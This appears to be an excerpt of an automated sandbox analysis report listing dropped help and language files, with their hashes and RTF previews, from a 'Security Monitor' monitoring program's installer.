SHA-256:	2823645253E4999BA6ED5175DDA4B288C2D01916811294E0E538726BB43952CD
SHA-512:	9A1BB1C996C3B0561B2F1C20D8FB12E3B98322961572803AFFDA7659E024840BA5FD04C53329A443F1C8DB1B16B89CD2E64CCE409AFDBED6139B21F08A65B3C4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42930
Entropy (8bit):	5.0450094413030575
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqyxz/BSKIasAzoBYcXumDpIyZ/6A97:qqraqpIA97
MD5:	DBF71033F406A5C5C9AEA3EC2E669C28
SHA1:	829479F385D2FFC9EFF81C2E3F3543289D64C1B9
SHA-256:	452AA2D29FFC659EF8042B9933B8DD6A7A679E906371F3C5530E740ED0B8605F
SHA-512:	B926A8072DBAF438AC4F1B920D4C7B4A1E16BCD371F904DB429927968D2DA1D4C3ED1517DD7E8D35604911623F86EB4F46A3ADDA56B27BAEB9DB6063CA51BF68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49574
Entropy (8bit):	5.031691924230754
Encrypted:	false
SSDEEP:	768:4qFys4jeDCcJ+r15g5V5V5h5G5P5N5hBcqtqYepn3/xXdQQMQs2YMKBX49nNbaEq:4qYo3CtU7c7KIA9m
MD5:	AEE08B8B9A32D64F630D57580A2D4457
SHA1:	0BD2511BF3C71E549858E1990A07CA29A11A9C8D
SHA-256:	468D9AA761B58B6CCA9C93C271D3B9A3EC96D367019CA53F0579E3A5E87720FE
SHA-512:	16CE81CF5D2A1910E845DC857AEC389ADB9E2A05E262DD47F4285A5BF5EE9A522622484EC9CE875089B1526B0C0A5956A66B858A6A731F33F2BDE6E1FE130A71
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff-10\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050203

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66194
Entropy (8bit):	4.972115474061052
Encrypted:	false
SSDEEP:	768:q4Fkex1eiCUYvmpNM2UrPGsGx7TYlDidldgOQrrFlEoIeRWeWyWVWAWJHZIWRWe0:q4vsLIA9i
MD5:	6181F9D5B81EC15F49F57FCFABF69562
SHA1:	451D5FBDF90E8CD153DC5990092613901D084CD1
SHA-256:	442E6A351381A56F912F0A68036C868F60D45117C92C9C2225948AC614DF7416
SHA-512:	5F5C61E9995C9081CFC0F97E857B5D67E45A1A6FD0796927AE694E25E41A50129E1952B19CF9A40A325A23137732465A718B1282C23688093160A0FF604BB124
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	57638
Entropy (8bit):	4.981099786389407
Encrypted:	false
SSDEEP:	768:q4e94jXjOcPI0QhhiLVRMek4aEqkGBKugOLT7eQk8C/Pr+uPmB35LBUo22xt2VOz:q49OUnWkIA9U
MD5:	DAEEF8D403213DE69003FA2BA7664B93
SHA1:	4A5FE0EE5ACCA61948EDA61062B395F59E224E7F
SHA-256:	635C6F72A6029595AF7922DF53835CE80BF486671E0BE4164D4612F03E993FF4
SHA-512:	5DE410F9C6A4F4A27ED9F456DF9D0D79DF87A21125718CC9B6674B0A4ED686F0630B1BE86A30B787053C3380A24C844899C3CFAA9A4854E72DA803AD673AF92E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	5.036767014333867
Encrypted:	false
SSDEEP:	768:qqFy/4jfDCcJJrNgVVhGPNhHwGNjm+epnqExwaWxZqEUqCuj8QDe3n3g3/3Z3z3V:qqraqDIA9/
MD5:	7984C74EC410F7A952EBBBB798A09143
SHA1:	10E1E32861C86AA02C81D824CAEEB670DC2FD1F8
SHA-256:	922B12112DE9715D7164050920AE36A5AA44FB3346DF447C6ADB5ADF36483F69
SHA-512:	34B6C3E0E3FADC4AB057411FF42B6DEB01E3B70297A357358BC27E5A5A802D68B50BA01EB1DA42E922B00DA3C0F5E58330F9A751D496E107BBAE0FFC2E2B31BE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44859
Entropy (8bit):	5.042653911286004
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnqdxBBdwwZxsAUtcGuermSShpHlfcXX:qqJ9aqMIA9Z
MD5:	0692A56E310ADDB8AB518DFF420373E6
SHA1:	1855B76BA5A77F96D7ED04FECD78342BB3902517
SHA-256:	821D367CFEC38EEB7BFC2635ECC1B8938802D5D4071AFFA380BF5D3DA32BBA8A
SHA-512:	FE0C99F78A2807F06ECE7E94CFD9EBAD74E65FE2E9A8619D1EB3FD9CA68FA1F80AEA29D7FE1CD0AA7CEC6DD0404070E99FBD1B14DE5409CAB94703B2C679083C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	5.035611454104282
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnq/x7yjxNQwr8AUmQryuj8QDc3n3g3x:qqJ9aqbIA9b
MD5:	EF57D23344C66880C6A38F743FD3FF0E
SHA1:	FC336BCC92580A0D367CB5B3604EE0040CC08492
SHA-256:	E36C9442648C0564C6AD9AC6074EC2B5023BBEBF291708977714AD977DDC1633
SHA-512:	C336736ADD43033E4BEA538EDAD809127C1ECF80DA20FCD3E02065E310919529E44C5CF57D0FD24EA295FAE367BFE7F7C52465E18863D0B2AF37188EA069502F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42784
Entropy (8bit):	5.040903024418766
Encrypted:	false
SSDEEP:	768:qqFkwx1eXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3D5xoYAo79Q88T27Z/6A9I:qqRbnIA9I
MD5:	6A4574B9B32C4BC5A6F9B7825A003942
SHA1:	30BB8557175BD91B06453AA8017FA35754D870C6
SHA-256:	6EB4E3BD1DDD9B08957F4B2EC49482EB8C6A083F812703F28A51EDD2E1B65DCB
SHA-512:	2A220BD4DCE899F86CA79DB7F977362554CD80AB72BCC9EB24A28FA4D72B0F0A617655B76ACEEF6991273AA459CD1C7BF29FBB5EFE4C1E9C30CD900124E2BE81
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20359
Entropy (8bit):	4.977393911384311
Encrypted:	false
SSDEEP:	384:Ui/yM5JVBb8Mc2MfcwNx0TiTtGNleNglf8sj1AzDqqSo:UFGYD+icNleNhcIGqd
MD5:	3115ABE2CF8075BB08D1B7EA95180E7E
SHA1:	752F7833223EDB298E903C9731E78A3109E026D3
SHA-256:	156C2CDE62ABF6D9289B85054F707FA8777A722EC2DDBC0615544A216E633133
SHA-512:	C5DE077A294349896E2D846808806AF67B9E29E7EC1358B763A8F66381F839983A4ADE4C751A8A36C84EE20E8ADD1E5F869759000F527284F4312D9803617BC3
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Commencez"..tbStartHint="Activez le journal de bord"..tbStop="Arr.tez "..tbStopHint="D.sactivez le journal de bord"..tbFind="Trouvez"..tbFindHint="Recherchez des informations dans le journal de bord"..tbSetting="Param.tres"..tbSettingHint="Les param.tres du programme"..tbAbout=". propos"..tbAboutHint=". propos / informations de journal de bord"..tbHomePage="Page d'accueil"..tbHomePageHint="Allez . la page d'accueil du programme"..tbToday="Aujourd'hui"..tbTodayHint="Allez dans journal de bord d.aujourd'hui"..tbHide="Masquez"..tbHideHint="Le mode furtif (pas d'ic.ne dans la zone de notification)"..tbMinimize="Minimisez"..tbMinimizeHint="Minimisez au magasin"..tbExit="Quittez"..tbExitHint=" Quittez et arr.tez le jour

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44178
Entropy (8bit):	5.050546012194347
Encrypted:	false
SSDEEP:	768:Vk13ixj2HiBkyKWm+m2NjrOX/zJSYctuTZ4Y+2XrXZ3iE8f32HNzQf3IUBwkl2/j:VkeWY4TJ
MD5:	8C6D29E2A257F91393950B5369539D50
SHA1:	674B7489A1DDF7B46040AC571F3DACCEA00F0162
SHA-256:	9A4326ABEFF7FEABB451943D15DC7CDD41DB433BE2A450BFF0C024E0302C6BA2
SHA-512:	81E81D6E6920F9E3B5D601209CE5C79343EE95B4BED07C6788A30B8E48F337E8D73918291634E98644AA3BE96A6E171F9F610FD33EEDDB6B1D17DD9E1A25FA64
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 0204050305040603020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37414
Entropy (8bit):	5.037445111384111
Encrypted:	false
SSDEEP:	768:VkGN4JS0TaGC5X2kccMG+vK5j8kES638TFeq4Tf:VkHA4Tf
MD5:	EEF6FD9574018AB7519DF0FE47A51EAD
SHA1:	58D45358315413816630C67BC892C7B20B986589
SHA-256:	8B7C442F64A83CF255F5A9B2EC6A9152A697A4198033C1727A63F1CCCF340231
SHA-512:	90D71196AFFFCFA83AC1F0DF325B18FF8871D9B45934676BD7105D8FEBF2EAF15C6AB4E0ABB93FBAE9A160F3B6197102117E527A8FDE66BA50E7A2AE0A03493C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37144
Entropy (8bit):	5.0396581331661805
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XnvKT0+3HEXL6LhyXWx2jUvJq4TU:VkHHR4TU
MD5:	3EE19309BA4E122B381C9DFD89AC3E83
SHA1:	5B5AD1A494BFE593C8A74BED71A60BAA2F47AFC2
SHA-256:	2E73E1CC938915B084B13D3E93931B5FC5DB48ECBDDCB5D14B0684F919A18067
SHA-512:	B9ABFE6A3327565F79F2488CA67DD18D3053DDA2C5F7A52F0521F77942B69E7133EA88687E7EAAD73F53A7D6280A92A91A269DC8CBCEBF896D2D9C044073EB58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36715
Entropy (8bit):	5.031988851778873
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVDfpZMHDMI4ZlZ/6A9T:w4G3UnnIA9T
MD5:	3782483D6EE007A1D36CF22E4377E736
SHA1:	28407BF172DD8CE139D46271AA509A64AE3C96E4
SHA-256:	6E7E08A47C098030ADE2040BB9605B271619E9D57FB57BF9C2895710B64485A9
SHA-512:	7AC317D52EADCF7EE5C9B1244FAA030376953ECD7227F0735D8755BDE2F6E483DA6D8D629A8D978A16EF1969D94DBFBAF6342B3BFFAA58BF61B2874959A4E2A2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78397
Entropy (8bit):	4.994922160783421
Encrypted:	false
SSDEEP:	1536:w4ZCmyp6N8nvBnhv+yyW6OjFwLYbJcmTaIwIA9h:wAFjmuND
MD5:	52630AF15CE5E8DF4DFBAD1E2CECBDCC
SHA1:	7D5A3ED6E274227C05486B222C5B348A4489B96E
SHA-256:	08CBE91EB083B28FA50DBA66B6386FB3446958F27BD31B5EAD83824EE236D9D3
SHA-512:	43AAB356956B2C61E72CA87EF2AB966EB9BEB23B8A414B017DC6E2061A594556D696E705A346E442B6BE21C798D2720B61515C9ABE5A8582D6F6654829909893
Malicious:	false
Reputation:	unknown
